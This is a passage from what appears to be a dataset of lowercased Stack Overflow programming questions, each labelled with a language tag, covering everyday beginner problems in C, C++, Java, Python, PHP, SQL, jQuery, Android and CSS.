+0.011*sin((mm-4*d)*d2r);      return rev(lon); } </code></pre>   but i got wrong value  could you please explain me  how to moon longitude or which procedure i should use for it.,objective-c
usage of extern keyword and multiple translation units  i am reading item 4 of scott meyer s effective c++ where he is trying to show an example where  a static non-local object is used across different translation units. he is highlighting the problem whereby the object used in one translation unit does not know if it has been initialised in the other one prior to usage. its page 30 in the third edition in case anyone has a copy.    the example is such:    one file represents a library:   <pre><code>class filesystem{     public:         std::size_t numdisks() const;     .... };  extern filesystem tfs; </code></pre>   and in a client file:   <pre><code>class directory {     public:         directory(some_params);     .... };  directory::directory(some_params) {     ...     std::size_t disks = tfs.numdisks();     ... } </code></pre>   my two questions are thus:    1) if the client code needs to use <code>tfs</code>  then there will be some sort of include statement. therefore surely this code is all in one translation unit  i do not see how you could refer to code which is in a different translation unit  surely a program is always one translation unit     2) if the client code included filesystem.h would the line <code>extern filesystem tfs;</code> be sufficient for the client code to call tfs (i appreciate there could be a run-time issue with initialisation  i am just talking about compile-time scope)     <strong>edit to q1</strong>    the book says these two pieces of code are in separate translation units. how could the client code use the variable <code>tfs</code>  knowing they re in separate translation units,c++
php errors inside of html blocks  this has two questions wrapped into 1.    1) if my php script has an error inside of <code>&lt;div style= &lt; php echo $1;  &gt; </code>  how can i make the php error handler to close this quote  i have already customized the error handler  but unfortunately  everything appears inside of the <code>&lt;div style= ...</code>    2) i have a php fatal error handler in the register shutdown function  is it possible to clear the rest of the buffer from the page (ie. display only the error message)     thanks     elijah    update:    none of these answers are related at all to my question  so evidently i have been unclear.    take  for example  the following code examples (one per line)   <pre><code>&lt;div&gt;&lt; php count( abc );  &gt; &lt;div style= &lt; php echo count( abc ); </code></pre>   in the first case  the error message will print fine. in the second case  the error message will start to appear inside the div. if there is a   in the error message html (from a custom handler)  then the tag will be closed somewhere like this (but it opens again at the closing of the new  ):   <pre><code>&lt;div style= &lt;div style= asasdf &gt;errortext&lt;/div&gt; </code></pre>   is there a way to force the browser to close these tags that will work in the normal case also  i do not think that there is  but sometimes something is possible somehow in cases like this.,php
printing on same line  i am new to java and i am trying to print the student numbers and numbers (cijfer in this case) on 1 line. but for some reason i get weird signs etc. also when i m trying something else i get a non-static context error. what does this mean and how does this exactly work     down here is my code:   <pre><code>import java.text.decimalformat; import java.util.arrays;   public class student { public static final int aantal_studenten = 50; public  int[] studentnummer = new int[aantal_studenten]; public string[] cijfer;   public int[] studentnummers() {      for (int i = 0; i &lt; aantal_studenten; i++) {         studentnummer[i] = (50060001 + i);      }     return studentnummer; }   public  string[] cijfers(){      for (int i = 0; i &lt; aantal_studenten; i++) {         decimalformat df = new decimalformat( #.# );          string cijferformat = df.format(math.random() * ( 10 - 1 ) + 1);         cijfer[i++] = cijferformat;     }     return cijfer; }  public static void main(string[] args) {     system.out.println( i cant call the cijfer and studentnummer. ); } } </code></pre>   also i m aware my cijfer array is giving a nullpointer exception. i still have to fix this.,java
left bitwise shift not working correctly for 2 << (x-1)  i don t understand the following behaviour of left bitwise shifting in c:   <pre><code>int x=0; int y = 2 &lt;&lt; (x-1); // y is now 0 </code></pre>   with the same compiler this expression evaluates as expected:   <pre><code>int y = 2 &lt;&lt; (0-1); // y is now 1 </code></pre>,c
css three-column layout  i m looking for the best way to accomplish the following layout. i need to accommodate a header and footer of varying size  of which i am not in control. in between those elements  i need to set up a fixed three column layout. the total layout needs to always print on one standard page in landscape mode. if i didn t have to allow for the header/footer  i know i could just use a fixed layout... but i can t. the layout needs to be:    variable height header<br> div with three fixed width columns<br> variable height footer      p.s. sorry  don t yet know the proper way to display this graphically here :(,css
how to select a div in a div which is in active page(div) while using attr event   i got this:   <pre><code>$( .containers ).not( :first ).hide();  $( #topbar ul li a ).click(function() {     var activelink = $(this).attr( href );      $( #topbar ul li a ).removeclass( active );     $(this).addclass( active );      $( .containers ).hide();     $(activelink).show();     return false; }); </code></pre>   my question here is how can select(call) a div in the active container  let s say i am trying to animate box3 as the container3 header link is clicked or box2 as the container2 header link is clicked and so on...    you can see it beter here: <a href= http://jsfiddle.net/jwbqg/  rel= nofollow >http://jsfiddle.net/jwbqg/</a>,jquery
using angular $resource  update list of objects after post request  in angular  when using $resource  how do you update a list of objects after making a post request  if you save or update an individual object  you d then want the the full list to reflect the change of data. is this handled by $resource or do you have to implement this on your own,angularjs
for loop is not working  i need to multiply the column values with the values from another dataframe.  in order to achieve this i m using <code>applymap</code>  but it is not working as expected.   <pre><code>def testfunc(x):     # if x is a string      if type(x) is str:         # just return it untouched         return x     # but  if not  return it with range     elif x:         for number in range(3):             return x * pp[number]  print(f.applymap(testfunc)) </code></pre>   unfortunately x is multiplied with a single value alone it is not taking into account of other values.i mean  my expected output should be like this   <pre><code>x*dataframe[0]-----this one alone is considered while using applymap x*dataframe[1]-----this is being ignored x*dataframe[2]-----this is being ignored. </code></pre>,python
c programming - operator  i have written a simple code which accepts password from user and checks if it contains uppercase letter  digit and special character. the password should of length 3.    problem:     user should get three trials before it ends. code works perfectly well in case if the password is correct but in case of wrong it keeps on asking infinitely. i think that increment operator for increasing the attempt is not working (or i am making any mistake).    thanks for help.   <pre><code>#include &lt;stdio.h&gt; #include &lt;stdlib.h&gt; #include &lt;math.h&gt;  int main() {     int i=0  letter=0  digit=0  character=0;     int attempt=0;     char password[3];      while(attempt&lt;3)     {         printf( \nattempt: %d\n   attempt);         printf( \nplease enter the 3 character password containing letter in upper case  digit &amp; special character: \n );         scanf(  %s   password);          for(i=0; i&lt;=2; i++)         {             if(isalpha(password[i]))             {                 if(isupper(password[i]))                 {                     letter=1;                     continue;                 }                 else                 {                     printf( wrong password (upper case letter needed)\n );                     break;                 }             }             else if(isdigit(password[i]))             {                 digit=1;                 continue;             }             else             {                 character=1;             }         }         if(letter==1 &amp;&amp; digit==1 &amp;&amp; character==1)         {             printf( you have entered correct password\n );             break;         }         else         {             printf( you have entered wrong password try again\n );             attempt++;         }     }     return 0; } </code></pre>,c
finding and deleting duplicate records which vary by one field  i have a rates table with 18 columns. now there are few rows in which all 17 columns have same value but differ in the 18th column(17 columns as input and 18th column being my output). i want to find out all such rows and delete them.,sql
how to run adb commands through python   i ve ten different adb commands and want to execute it concurrently as a separate process . i ve used subprocess module &amp; but process doesn t seem to run concurrently. is there an efficient method in python to run process concurrently  my code snippet is below   <pre><code>def run(com):        sub = subprocess.popen(command  shell=true              stdout=subprocess.pipe              stderr=subprocess.stdout)     return sub.communicate() cmd =[adb commands 1 to 10] for i in cmd:    run(i) </code></pre>,python
how to create mysql script using mysql workbench   i followed <a href= https://www.youtube.com/watch v=cefjyynwooe  rel= nofollow noreferrer >this</a> tutorial  but it seems like the queries he used in the video is cannot be used in the mysql.   <pre><code>create procedure spinsertintostudentcourses @studentname varchar(50)   @coursename varchar(50)  as begin   declare  @studentid int;   declare  @courseid int;    select @studentid = id from students where studentname = @studentname;    if(@studentid is null);   begin;     insert into student values (@studentname);     select @studentid = scope_identity();   end;    select @courseid = id from courses where coursename = @coursename;    if(@coursename is null)   begin;     insert into courses values (@coursename);     select @courseid = scope_identity();   end;      insert into studentcourses values (@studentid  @courseid); end </code></pre>   what should be the right syntax for this,mysql
singleton setter thinks it s receiving an int *   i ve got the following code:   <pre><code>#import &lt;foundation/foundation.h&gt; #import  game.h   @interface world : nsobject  @property (nonatomic  strong) game *game;  +(id)sharedinstance;  //---------------------------------------  #import  world.h   @implementation world  @synthesize game = _game;  +(id)sharedinstance {     define_shared_instance_using_block(^{     return [[self alloc] init]; }); } </code></pre>   yet when i try to set the game property:   <pre><code>-(id)initwithlevelidentifier:(int)identifier {     if (self = [super init]) {         self.currentlevel = [[level alloc] initwithidentifier:identifier];         // stuff          [[world sharedinstance] setgame:self];     }      return self; } </code></pre>   i get:      cannot initialize a parameter of type  int *  with an lvalue of type  game *__strong      why does it think this is an int *  when it s clearly specified as a game type,objective-c
how to split a div   how do i split a div into two rows so i can add two grids !!!! the grid which i m using is of tms .,html
why does dragevent.action drop gets called twice  when using a draglistenerclass :   <pre><code>protected class mydrageventlistener implements view.ondraglistener {      @override     public boolean ondrag(final view v  dragevent event) {          final int action = event.getaction();             switch (action) {              case dragevent.action_drag_started:                  break;             case dragevent.action_drag_ended :             case dragevent.action_drag_exited :             case dragevent.action_drop:                  log.d( drop    drop );                  if((viewgroup) dragview.getparent() != null)                     ((viewgroup) dragview.getparent()).removeview(dragview);                 main_layout.addview(dragview currentviewindexunderdragview);                  break;             case dragevent.action_drag_location:                     break;                                   }         return true;     } } </code></pre>   the drag listener class is used like this :   <pre><code>final mydrageventlistener draglistener = new mydrageventlistener();      main_container.setondraglistener(draglistener); </code></pre>   and the drag is started like this:    <pre><code>onlongclicklistener = new onlongclicklistener() {          @override         public boolean onlongclick(view v) {                              v.startdrag(null new view.dragshadowbuilder(v)  null  0);                             main_layout.removeview(v);             draglistener.dragview = v;                            return true;         }     };   </code></pre>   problem is that the drop is called twice and i have no idea why or what i am doing wrong.,android
create a variable accessible by any function in a class in python  i have some code inside of a class. i want my load variable to be accessible by any function in my class  so i put my variable directly in the class. i get the error: nameerror: name  load  is not defined.    <pre><code>load = image.open( obama.jpg ) def showimg(self):     render = imagetk.photoimage(load)      img = label(self  image=render)     img.image = render     img.place(x=0 y=0)  def hideimg(self):     load.close() </code></pre>,python
i would like to amend my jquery script to add a different #id  i have this jquery code which pushes the content down on click:   <pre><code>&lt;script&gt; $(document).ready(function() {   $( #showhide ).click(function() {     if($( #author-dropdown ).css( display ) ==  none ) {       $( #author-dropdown ).slidedown();     } else {       $( #author-dropdown ).slideup();     }     return false;   }); }); &lt;/script&gt; </code></pre>   i would like to add up a different id. so  lets say when the script is to display==none  user should see #author-dropdown and when display==block  the id should be #author-dropdown-extended. how should i amend this script to make it happen,jquery
geting latest versioning data  i have a table which does versioning with an id and a guid. the id increases  but the guid is static allowing for versioning control.    for example:   <pre><code>id     guid        data 01     asd         something 02     asd         something changed 03     asd         something changed again 04     dsa         something else 05     dsa         something else changed </code></pre>   so the question is  how do you get the latest data  so you end up with:   <pre><code>03     asd         something changed again 05     dsa         something else changed </code></pre>,sql
incrementing list values python 3 <pre><code>infile = open( numbers.txt   r )  c = 0 for i in infile:     if int(i) &gt; c:         c = int(i) hist = [0]*c  for i in infile:   #checking     ii = int (i)-1     hist[ii] += 1  # problem area seemingly  for i in range(c):     print(str(i+1)  :  end=   )     print(str(hist[i])) </code></pre>   the purpose of the code above is to open number.txt  which has a 100 numbers  all within range(1 101)   all with  \n  characters at their ends  and to count the number of times each number has been encountered.     first the greatest number in the file is found  then a list with the number of element equals the greatest number in the file  is made with all elements initially set to zero. then the numbers are checked. all numbers in file are integers.     if the greatest number contained in the file is 100  then the hist[] list has initially 100 elements which are all 0.    during checking  say if a number 78 is encountered  the element with index [77] ie hist[77] is updated from value 0 to 1. if 78 is encountered again  hist[77] is changed from 1 to 2.    this way whatever number occurs in the file  each occurring number has a counter (also numbers that don t appear but are less that the greatest occurring no. have counters but thats not a problem).     having checked that the correct file is being opened  the hist list is initially being set up properly  the problem is that the values of the hist[] list are not getting increment when the corresponding number is being encountered. when i print the list at the end  all values are still zero.    i am using python 3.4.3. both the script and  numbers.txt  are on my desktop. any help appreciated.,python
how to compare the name of one file with a number   i want to select the traces with the number that are more than 60.    example of file name:  <code>bloc119_5950_6000.npy</code> the number of this file is: <code>119</code> but the error is it displays all  th number of all files without any comparison:     <pre><code>   def extract_number_block(block):         nbrblock = block.split( bloc )[1].split( _ )[0]         return nbrblock      path_for_numpy_blocks= /data/sas/blockdata       for block in os.listdir(path_for_numpy_blocks):         nbrb= extract_number_block(block)         print(nbrb)         a=60         if nbrb&gt;a:             print(nbrb)          else:             print( erreur ) </code></pre>,python
how to access member with same name in the inheritance  i have a question about how to access the member with the same name with inheritance. for example    <pre><code>class base {   public: int i;    }; class derived1 : public base {      public:     int i;      // how to access the i in the base class here  };  int main() {    derived1 d;   cout&lt;&lt;d.i;                          //which is it is     //how to access the different i here    } </code></pre>,c++
android set a link on a textview  i m trying to attach a link to a textview. but i can t seem to get it to work.    here s the textview   <pre><code>&lt;textview        android:id= @+id/terms         android:layout_width= wrap_content         android:layout_height= wrap_content         android:gravity= center         android:clickable= true         android:linksclickable= true         android:text= @string/terms  /&gt; </code></pre>   and here s the setlink() method   <pre><code>private void setlinks(){         string termsuri =   ;         textview termstextview = (textview) findviewbyid(r.id.terms);         string termslink =  &lt;a href= www.google.com &gt;terms test&lt;/a&gt; ;         termstextview.setmovementmethod(linkmovementmethod.getinstance());         termstextview.settext(html.fromhtml(termslink));     } </code></pre>   i ve tried     <a href= https://stackoverflow.com/questions/2734270/how-do-i-make-links-in-a-textview-clickable >how do i make links in a textview clickable </a>    <a href= https://stackoverflow.com/questions/17877595/i-want-text-view-as-a-clickable-link >i want text view as a clickable link</a>    <a href= https://stackoverflow.com/questions/38812995/android-textview-hyperlink >android textview hyperlink</a>    all 3 are highly reviewed and did not work for me. which leads me to believe i m doing something wrong.    is there something wrong here  or possibly some tips     one thing to add  i need to be able to set the link in a method  since our live and debug environment differ. (different domains),android
get default image name  i have an app that needs to carry over the default.png image during the startup.  my app is internationalized  so i have a different image for each country  and have followed the guidelines for several options for the image (default  @2x versions  landscape  etc.)    so to the query  is it possible after startup to determine which version of the image was selected to be displayed     thanks in advance!    rob,ios
jquery value of checkbox always return on  i am trying to get the value of a checkbox and i tried the following:   <pre><code>var closedissue = $( #closed-  + rowcounter).val(); </code></pre>   but it always return  on     here is the checkbox   <pre><code>&lt;input type= checkbox  name= closed-  + rowcounter +    id= closed-  + rowcounter +    /&gt; </code></pre>   what am i doing wrong,jquery
building an object on the fly and inject a variable  i am writing a javascript method that should do:   <ol> <li>create an object of a type that has been passed as first argument </li> <li>put a variable into that new object and</li> <li>call the method __construct of that object and pass the arguments to it passed to this method (except for the first).</li> </ol>   example usage:   <pre><code>this.create( foo    bar   42); </code></pre>   should do:   <pre><code>var o = new foo; foo.application = this; foo.__construct( bar   42); </code></pre>   what i have now:   <pre><code>application.prototype.create = function(stype) {     var self = this;     eval( var object = new   + stype +  ; );      // what to write here       var aparameters = array.prototype.slice.call(arguments  1);     object.__construct.apply(aparameters); } </code></pre>   i tried to inject the application var into the new object with the following codes:   <pre><code>object.application = this; </code></pre>   or:   <pre><code>var self = this; $.extend(object  { application: eval(self) }); </code></pre>   but in the __construct method this.application is still undefined.,javascript
could not launch new activity  keeps on refreshing  i want to create a simple image button that launches a new activity (cameraactivity)  in this case  a simple camera app that takes a pictures and stores it in a directory.    mainactivity:   <pre><code> public void camerabutton() {      imagebutton click = (imagebutton) findviewbyid(r.id.camerabutton);     click.setonclicklistener(new onclicklistener()     {         @override         public void onclick(view v) {             intent intent = new intent(mainactivity.this cameraactivity.class);             startactivity(intent);         }     }); } </code></pre>   cameraactivity.class:   <pre><code>import java.io.file;  import android.view.view; import android.content.intent; import android.net.uri; import android.os.environment; import android.provider.mediastore; import android.widget.toast;  public class cameraactivity extends mainactivity {  static int take_pic = 1; uri outputfileuri;  public void onclick(view v) {      intent intent = new intent(mediastore.action_image_capture);     file file = new file(environment.getexternalstoragedirectory()               myphoto.jpg );     outputfileuri = uri.fromfile(file);     intent.putextra(mediastore.extra_output  outputfileuri);     startactivityforresult(intent  take_pic); }  @override protected void onactivityresult(int requestcode  int resultcode  intent data) {     if (requestcode == take_pic &amp;&amp; resultcode == result_ok) {         toast.maketext(this  outputfileuri.tostring()  toast.length_long).show();     } } } </code></pre>   activity_main xml file:   <pre><code>&lt;imagebutton     android:layout_width= wrap_content      android:layout_height= wrap_content      android:id= @+id/camerabutton      android:background= @drawable/camerapicture      android:onclick= onclick      android:layout_alignparentbottom= true      android:layout_alignparentstart= true  /&gt; </code></pre>   every time i click the button  the app keeps on refreshing itself. i have declared the cameraactivity in the manifest file.,android
how do i raise a custom exception from a package __init__   i have a package <code>__init__.py</code> that looks something like this:   <pre><code>import sys  __required_python_version = (2 6  0)  if sys.version_info &lt; __required_python_version:     this_version =  . .join([str(x) for x in sys.version_info[0:3]])     required_version =  . .join([str(x) for x in __required_python_version])     raise pythonversionerror(this_version  required_version)  class pythonversionerror(exception):     def __init__(self  this_version  required_version):         self.this_version = this_version         self.required_version = required_version      def __str__(self):         return  python version %s is invalid.  must be at least %s  % (self.this_ver  self.required_ver) </code></pre>   while i m certain there is a more elegant way to format those version strings and i could probably get by using a standard exception  my real question is how would i do something like this   would the best approach be to move my custom exception into a separate file and import it   or should i wrap the version check in a function that executes when the <code>__init__</code> is run   i m just looking for recommendations on the preferred approach.    thanks,python
"align material icon with the text  i m using material icons with the code below  but the icon has some style that puts the icon not aligned with the text. do you know how to align the icon with the text     <a href= https://jsfiddle.net/u127zxak/1/  rel= nofollow noreferrer >https://jsfiddle.net/u127zxak/1/</a>    <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-css lang-css prettyprint-override ><code>@font-face {
   font-family:  material icons ;
   font-style: normal;
   font-weight: 400;
   src: url(https://fonts.gstatic.com/s/materialicons/v36/fluhrq6tzzclqej-vdg-iuiadsncihq8tq.woff2) format( woff2 );
 }
 
 .material-icons {
   font-family:  material icons ;
   font-weight: normal;
   font-style: normal;
   font-size: 24px;
   line-height: 1;
   letter-spacing: normal;
   text-transform: none;
   display: inline;
   white-space: nowrap;
   word-wrap: normal;
   direction: ltr;
   -webkit-font-feature-settings:  liga ;
   -webkit-font-smoothing: antialiased;
   background-color: red;
   display: inline;
 }
 
 .alert {
   position: relative;
   padding: 0.75rem 1.25rem;
   margin-bottom: 1rem;
   border: 1px solid transparent;
   border-radius: 0.25rem;
 }
 
 .alert-info {
   color: #0c5460;
   background-color: #d1ecf1;
   border-color: #bee5eb;
 }
 
 .alert-info hr {
   border-top-color: #abdde5;
 }
 
 .alert-info .alert-link {
   color: #062c33;
 }</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;div class= alert alert-info  role= alert &gt;
   &lt;span&gt;&lt;i class= material-icons &gt;face&lt;/i&gt;&lt;/span&gt;
 
   &lt;span&gt;
         test
       &lt;/span&gt;
 &lt;/div&gt;</code></pre>
 </div>
 </div>",css
objective-c difference between x.y and [x y]   an example that made me ask is:    xcode tells me to    <blockquote>    // get the new view controller using [segue   destinationviewcontroller].  </blockquote>   but i did it like this   <pre><code>destviewcontroller = segue.destinationviewcontroller; </code></pre>   im just starting to learn objective-c  i v only ever wrote c++. could someone elaborate on the [ ] and the difference between <code>segue.destinationviewcontroller</code> and <code>[segue destinationviewcontroller]</code> and when you should use one or the other  (i don t know what terminology to search)    destinationviewcontroller just holds the pointer to a view controller and is not a method right  this is whats confusing my i thought [x y] syntax is for calling methods so why does xcode tell me to do this,objective-c
how to debug the string handling in my c++ program   i m having a problem where whenever i run this code and put a space in studentname input it the program skips the next question and then ends.    this is what it looks like when i have a space in the student s name:    <a href= https://i.imgur.com/p4wgfcu.png  rel= nofollow noreferrer >http://i.imgur.com/p4wgfcu.png</a>    and this is what its supposed to look like:    <a href= https://i.imgur.com/1d9ocmy.png  rel= nofollow noreferrer >http://i.imgur.com/1d9ocmy.png</a>     and this is my code:   <pre><code>    string classname;     int classtime;     string studentname;     cout&lt;&lt; setw(50);     cout &lt;&lt;  enter the students name:  ;     cin &gt;&gt; studentname;     cout &lt;&lt;  enter first class name:  ;     cin &gt;&gt; classname;     cout &lt;&lt;  ---------------------------------------------------------------     ----------  &lt;&lt; endl;     cout &lt;&lt;  |  &lt;&lt; studentname &lt;&lt;  |monday |tuesday|wensday  |thursday|friday|saturday|sunday|  &lt;&lt; endl;     cout &lt;&lt;  -------------------------------------------------------------------------  &lt;&lt; endl;     cout &lt;&lt;  |   9:00-10:00 |       |       |         |        |      |        |      |  &lt;&lt; endl;     cout &lt;&lt;  -------------------------------------------------------------------------  &lt;&lt; endl;     cout &lt;&lt;  |   10:00-11:00|       |       |         |        |      |        |      |  &lt;&lt; endl;     cout &lt;&lt;  -------------------------------------------------------------------------  &lt;&lt; endl;     cout &lt;&lt;  |   11:00-12:00|       |       |  &lt;&lt; classname &lt;&lt;  |        |      |        |      |  &lt;&lt; endl; </code></pre>,c++
programming in c - problem in functions <pre><code>int fn() {     return 10; }  int main() {     printf( %d\n\n  fn);     system( pause ); } </code></pre>   this program gives a random number  but when a function call is made  then it returns the value 10.    can i conclude that when we use function name in a printf statement  it gives a garbage value or there is some other concept in it      thanks,c
c# replace {crlf} with {lf}  i have a text file sent from others. if i open in notepad++ and view all the symbols  i can see both {lf} and {crlf} work as line separator.     example:    line1: <strong>abc  {crlf}</strong>    line2: <strong>xyz  {lf}</strong>    <strong>question:</strong> if i want to replace <code>{crlf}</code> with <code>{lf}</code> and write to a new file  why the output text file cannot show separate line and the separator symbols disappear. <code>write</code> just writes the line and append another line without start a new line  but the line still has <code>{lf}</code> in it  hasn t it  is that because i am working in windows system  but how the original file with both <code>{lf}</code> and <code>{cr}{lf}</code> can be viewed as two separate lines     code is very simple:   <pre><code>using (streamreader sr = new streamreader(@ \\...\test.txt )) {     using (streamwriter sw = new streamwriter(@ \\...\test2.txt ))     {         string line =   ;          while ((line = sr.readline()) != null)         {             sw.write(line.replace( \r\n    \n ));         }     } } </code></pre>,c#
java retrieve subclass objects from parent class  is it possible to write a method which allows me to take in a list of objects belonging to a parent class <code>person</code>.    under <code>person</code> class  there are several subclasses  which includes <code>employee</code> class.    i want the method to return a separate list which consists of just the <code>employee</code> objects from the original list.    thank you,java
sql copy multiple column from table 1 in db a to table2 in db b  i have a table <code>data_1</code> with 2 columns i would like to copy over to table sensor_reading. i would like the column <code>tmp1</code> in <code>data_1</code> to get copied over to <code>reading</code> in <code>sensor_reading</code>  and the column <code>dt_s</code> in <code>data_1</code> to get copied over to <code>reading_time</code> in table <code>sensor_reading</code>.    the following is what i am trying  but i get  update 0 .   <pre><code>update sensor_reading  set reading = data_1.tmp1       reading_time = data_1.dt_s       sensor_id = 1  from data_1; </code></pre>,sql
how to setup include for all php scripts of a directory   i am new to php and i have a very basic questions. i d like to setup pear logging across all php files of my project. how do i accomplish that  right now  in every single file the following lines:   <pre><code>// repeated lines require_once  log.php ; $conf = array( mode  =&gt; 0600   timeformat  =&gt;  %x %x ); $logger = log::singleton( file    out.log    ident   $conf);  // some logging... $logger-&gt;log( log entry ); </code></pre>   repeating the 3 lines doesn t seem to be the right solution to me. i actually have the same issues with my propel generated classes. how can i resolve this     martin,php
issue with null values being inserted  so i have searched all over for an answer  i know it ll be something basic and silly i ve overlooked but for the life of me i can t see it.     at the insert into    values point  i m stuck unable to insert null values.. i need the spaces blank. :/   <pre><code>drop table patient; drop table kennel; drop table prescription; create table patient  ( patient_id               number  name                     varchar2(15)  dob                      date  primary key(patient_id) ); create table kennel ( kennel_no                varchar2(2)  kennel_section           varchar2(1)  admission_date           date  patient_id               number   primary key(kennel_no)  foreign key (patient_id) references patient ); create table prescription  ( prescription_date        date  drug_code                varchar2 (5)  drug_name                varchar2 (55)  dosage                   varchar2 (25)  num_days_dosage  number   kennel_no  varchar(255)  foreign key (kennel_no) references kennel  ); insert into patient values   (1234  wiggles   12 dec 1996 ); insert into patient values   (        ); insert into patient values   (4587   woofy    15 nov 1999 ); insert into patient values   (         ); insert into patient values   (         ); insert into patient values   (4692  hiccup   3 apr 1998 ); insert into patient values   (         ); insert into patient values   (         ); insert into patient values   (5432   sandy    2 jun 2002  ); insert into patient values   (          ); insert into patient values   (          ); insert into patient values   (2591   snoopy    28 aug 2001 ); insert into patient values   (          ); insert into patient values   (4563   dopey    1 apr 2004 ); insert into kennel  values   (23  a    20 oct 2005 ); insert into kennel  values   (          );  insert into kennel  values   (28   b    10 nov 2005 ); insert into kennel  values   (          ); insert into kennel  values   (          ); insert into kennel  values   (25   a    21 nov 2005 ); insert into kennel  values   (          ); insert into kennel  values   (          ); insert into kennel  values   (35  c    30 nov 2005 ); insert into kennel  values   (          ); insert into kennel  values   (          ); insert into kennel  values   (34   c    04 dec 2005 ); insert into kennel  values   (          ); insert into kennel  values   (30   b    06 dec 2005 ); insert into prescription  values  ( 20 oct 2005    co156    cortisone    2 pills  3 times a day   14  23);   insert into prescription  values  ( 23 oct 2005    ap566   aspirin    1 pills  3 times a day   10  23); insert into prescription  values  ( 13 nov 2005   pe312    penicillin    1 pill  3 times a day   5  28); insert into prescription  values  ( 14 nov 2005   ap566    aspirin    2 pills  2 times a day   14  28);  insert into prescription  values  ( 15 nov 2005   co156    cortisone    2 pills  3 times a day   10  28);  insert into prescription  values  ( 22 nov 2005   pe312    penicillin    1 pill  3 times a day   2  25); insert into prescription  values  ( 23 nov 2005    ap566   aspirin    2 pills  2 times a day   10  25); insert into prescription  values  ( 24 nov 2005    be159    benzocaine    2 pills  3 times a day   7  25); insert into prescription  values  ( 30 nov 2005    co156    cortisone    1 pill  3 times a day   7  35);   insert into prescription  values  ( 02 dec 2005    ap566    aspirin    2 pills  2 times a day   12  35); insert into prescription  values  ( 03 dec 2005    be159    benzocaine    2 pills  3 times a day   2  35); insert into prescription  values  ( 04 nov 2005    co156    cortisone    1 pill  3 times a day  10  34); insert into prescription  values  ( 05 dec 2005    ap566    aspirin    2 pills  2 times a day   8  34); insert into prescription  values  ( 06 nov 2005    pe312    penicillin    3 pills  3 times a day  7 30); </code></pre>,sql
how to load a variable and be able to add to it   i have a button to save a variable and one to load a variable. the save button works good and the load but when i run my function to add 1 to the variable  it adds another number to the side instead of adding it to the number. here s my code:    <pre><code>&lt;button onclick= save();  style= color:black; &gt;save money&lt;/button&gt; &lt;button onclick= load();  style= color:black; &gt;load money&lt;/button&gt;  &lt;script type= text/javascript &gt;   var money = 0;    function updateclickcount() {     document.getelementbyid( clickcount ).innerhtml = money;   }; &lt;/script&gt;  &lt;script&gt;   function save() {     localstorage.setitem( cash   money);   }    function load() {     cash = localstorage.getitem( cash );     money = cash      updateclickcount();   } &lt;/script&gt;  &lt;script&gt;   function moneyy() {     money += 1;     updateclickcount();    } &lt;/script&gt;  &lt;p&gt;   &lt;div class= div  style= width: 10px; height: 10px; background-color: black; border: 0px; &gt;&lt;/div&gt;money: $   &lt;div class= div  id= clickcount &gt;&lt;/div&gt; &lt;/p&gt;  &lt;button type= button  class= textbutton  onclick= settimeout(moneyy  1000);  id= push &gt;search small caravan&lt;/button&gt; </code></pre>   thanks for any help  please i really want people to be able to save their game! also tips welcome!,javascript
import files to database  i have a method in java that opens an excel file and copies it into a database. this works fine.    what i want to do is write a java service that looks for new files in a folder and then calls my method as outlined above renames the file to done-originalfilename.xls. then the service loops constantly looking for files that are not named with done-*    how do i write a service in java to do this. i am coming from a microsoft background where i would just write a windows service. what is the equivalent in java and any example to create a service that loops based on a timer to look for new files would be brilliant.    thanks,java
trying to understand how to return references to automatic variables  i m trying to understand why the second piece of code compiles fine  given that the first doesn t.   <pre><code>int &amp; test(void) {     int v = 0;     return v; }   int main(void){     int &amp; r = test();     return 0; } </code></pre>   i understand that this doesn t work because you can t pass a reference to an automatic variable that will be deleted. it seems to me that the code below should have the same problem but it doesn t.    <pre><code>int &amp; test1(int &amp; x) {     return x; }  int &amp; test2(void) {     int x = 0;     return test1(x); }  int main(void){     int &amp; r = test2();     return 0; } </code></pre>   seems like the intermediate function is solving the problem. but why,c++
angular js controllers  i am using angular js for my front end web application... i have encountered a problem..the problem.is..    1)in login page i am giving username and password which has one controller for this screen.    2)i have a forget password link on this screen.    3)separate screen appears when clicked on forget password link.    4)i have a separate controller for this forget password screen.    5)i want to get username value to forget password screen when i enter username in login screen and clicked on forget password link.    6)i am trying to use a service instead of $rootscope..    please help me on this...,angularjs
list cannot be resolved to a type  folks.. i ve already looked up the similar issues and did not find anything similar to mine. i m getting  list cannot be resolved to a type  after throwing an exception in the line    <pre><code>else     throw new exceptionlogicmalformedsignal(c   invalid character! ); </code></pre>   inside the <code>fromstring(char c)</code> method. what have i done wrong in the code  why is it happening to a non-list method  thanks in advance!   <pre><code>import java.util.linkedlist; import java.util.list;   public enum signal {      hi  lo  x;       public signal invert()     {         if(this == hi)             return lo;         else if(this == lo)             return hi;         else if(this == x)             return x;          return this;     }      public static signal fromstring(char c)     {          if(c ==  1 )             return hi;         else if(c ==  0 )             return lo;         else if(c ==  x )             return x;         else if(c ==  x )             return x;         else             throw new exceptionlogicmalformedsignal(c   invalid character! );      }      public list &lt;signal&gt; fromstring(string inps)     {         list&lt;signal&gt; values = new linkedlist&lt;signal&gt;();         if(inps.equals( 1 ))            values.add(hi);         else if(inps.equals( 0 ))             values.add(lo);         else if(inps.equals( x ))             values.add(x);         else if(inps.equals( x ))             values.add(x);         else              throw new exceptionlogicmalformedsignal(inps.charat(0)   invalid character! );          return values;      }      @override     public string tostring()     {         if(this == hi)             return  1 ;         else if(this == lo)             return  0 ;         else if(this == x)             return  x ;          return  error here! ;         }     }    public class exceptionlogicmalformedsignal extends runtimeexception {      private char bad; //offending character      private string msg =  you entered an invalid character ; //the entire message you want to convey      public exceptionlogicmalformedsignal(char bad  string msg)     {         this.bad = bad;         this.msg = msg;     }      @override     public string tostring()     {         return msg;     }      public string getbad()     {         string value = character.tostring(this.bad);         return value;     }      public string msg()     {         return msg;     }      public void setbad(string bad)     {         string value = character.tostring(this.bad);         value = bad;     }      public void setmsg(string msg)     {         this.msg = msg;     }  } </code></pre>,java
what widget using on android this   on top-rigt button (add button)  when click a new pop-up open     i want make this action  what widget i can use  <a href= http://i.stack.imgur.com/zeoqq.gif  rel= nofollow >on top-rigt button (add button)</a>,android
